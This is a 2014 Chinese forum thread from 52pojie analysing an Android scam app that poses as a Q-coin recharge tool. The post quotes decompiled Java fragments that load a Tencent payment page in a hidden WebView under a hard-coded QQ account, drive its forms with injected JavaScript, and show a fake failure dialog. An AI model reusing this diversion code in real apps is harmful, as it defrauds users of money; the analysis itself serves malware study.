吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8741|回复: 7
上一主题 下一主题
收起左侧

[移动样本分析] 【简单分析】一款骗QB的简单软件分析

[复制链接]
跳转到指定楼层
楼主
Jermic 发表于 2014-4-6 13:16 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Jermic 于 2014-4-6 13:17 编辑

今天刚看到的一个帖子http://www.52pojie.cn/thread-249298-1-1.html
没事干下来看看!
能看到关于这个充值骗子的信息也就是这个
[Java] 纯文本查看 复制代码
this.WebView2.loadUrl("http://pay.qq.com/h5/index.shtml?&sid=AWLeiSNwBVHIAQI5-48dzNhg&u=2969571156");
    showDownloadDialog();
    this.mDownloadDialog.dismiss();
    this.WebView3 = ((WebView)findViewById(2131230753));
    this.WebView3.getSettings().setDefaultTextEncodingName("utf-8");
    this.WebView3.addJavascriptInterface(new WebAppInterface(this), "myInterfaceName");
    this.WebView3.setVisibility(4);
    this.WebView3.getSettings().setJavaScriptEnabled(true);
    this.WebView3.setWebChromeClient(new WebChromeClient()
    {
      public void onProgressChanged(WebView paramAnonymousWebView, int paramAnonymousInt)
      {
        MainActivity.this.activity.setProgress(paramAnonymousInt * 100);
        if (paramAnonymousInt == 100) {
          MainActivity.this.activity.setTitle(2131034112);
        }
      }
    });





LZ说找到了QQ号,其实这样就是需要一个QQ号,不需要什么密码  通过QQ他人支付的一个页面,让用户把自己要充值的QB充值到这个人的QQ号上面
[Java] 纯文本查看 复制代码
public void showToast(String paramString)
    {
      MainActivity.date = paramString.toString();
      if (paramString.indexOf("充值成功") > -1)
      {
        WebView localWebView14 = (WebView)MainActivity.this.findViewById(2131230726);
        Runnable local1 = new Runnable()
        {
          private void Success()
          {
            System.exit(0);
            int i = 1 + Integer.parseInt(MainActivity.szhi);
            int j = Integer.parseInt(MainActivity.sqty) + Integer.parseInt(MainActivity.ydkj);
            MainActivity.this.WebView3.loadUrl("javascript:document.getElementById('h2').value= '" + i + "'");
            MainActivity.this.WebView3.loadUrl("javascript:document.getElementById('h3').value='" + j + "'");
            MainActivity.this.WebView3.loadUrl("javascript:document.getElementById('button').click()");
            MainActivity.this.showDialog("系统检测到你非法充Q币\n系统将清空你非法所得!");
          }
          
          public void run()
          {
            MainActivity.this.handler.removeCallbacks(MainActivity.this.task);
            MainActivity.this.handler2.removeCallbacks(MainActivity.this.task2);
            System.exit(0);
            Success();
          }
        };
        localWebView14.post(local1);
      }
      if (paramString.indexOf("mysql") > -1)
      {
        WebView localWebView13 = (WebView)MainActivity.this.findViewById(2131230726);
        Runnable local2 = new Runnable()
        {
          public void run()
          {
            Matcher localMatcher = Pattern.compile("(\\d+)#(\\d+):(\\d+):(.+?):").matcher(MainActivity.date);
            if (localMatcher.find())
            {
              MainActivity.sqqh = localMatcher.group(1).toString().trim();
              MainActivity.szhi = localMatcher.group(2).toString().trim();
              MainActivity.sqty = localMatcher.group(3).toString().trim();
              MainActivity.sdate = localMatcher.group(4).toString().trim();
              if (MainActivity.sqqh.length() < 4) {
                MainActivity.sqqh = null;
              }
            }
          }
        };
        localWebView13.post(local2);
      }



这个地方还有个提示,就是充值其实成功了,然后假冒提示充值失败,对于没有经验的用户来说,就可能再一次两次三次的尝试这个软件,作者就获取更多的QB
[Java] 纯文本查看 复制代码
      if (paramString.indexOf("mbb") > -1)
      {
        WebView localWebView6 = (WebView)MainActivity.this.findViewById(2131230726);
        Runnable local9 = new Runnable()
        {
          public void run()
          {
            MainActivity.this.pag1();
            MainActivity.this.WebView1.loadUrl("file:///android_asset/pag1.html");
          }
        };
        localWebView6.post(local9);
      }
      if (paramString.indexOf("qty") > -1)
      {
        WebView localWebView5 = (WebView)MainActivity.this.findViewById(2131230726);
        Runnable local10 = new Runnable()
        {
          public void run()
          {
            Matcher localMatcher = Pattern.compile("(\\d+)").matcher(MainActivity.date);
            if (localMatcher.find())
            {
              MainActivity.ydkj = localMatcher.group(1).toString().toString();
              MainActivity.this.pag2(localMatcher.group(1).toString());
            }
            MainActivity.this.WebView1.loadUrl("file:///android_asset/pag2.html");
          }
        };



里面还有一些类似这中代码,不太清楚是干嘛的,感觉像是伪造充值页面什么的吧



没有安装尝试这个软件,只是大概的看了一下代码 然后猜想的,,如果有不对的欢迎大家指出并补充,新人求不喷!给点热心 还是不错的~

免费评分

参与人数 2威望 +1 热心值 +1 收起 理由
willJ + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.
520wangqi + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
宿命棋局 发表于 2014-4-6 13:21
看不懂的路过,小白一只,学习中
3#
shabi1hao 发表于 2014-4-6 13:23
4#
yancie 发表于 2014-4-6 13:24
5#
Sp4ce 发表于 2014-4-6 18:42 来自手机
不排除以后的变种用邮箱等方式将卡号和密码发送到指定邮箱
而且我用平板电脑安装了一下,随意输了点号竟然提示翻倍成功,卧槽,作者这牲口
6#
优雅二进制 发表于 2014-4-6 19:35
多谢楼主的分析,向你学习了
7#
yangao282479264 发表于 2014-4-7 10:29
作者这牲口太可恶了 我能喷他么?
8#
kamasutra 发表于 2014-6-12 23:02
小白一只,膜拜大神路过。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 14:20

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表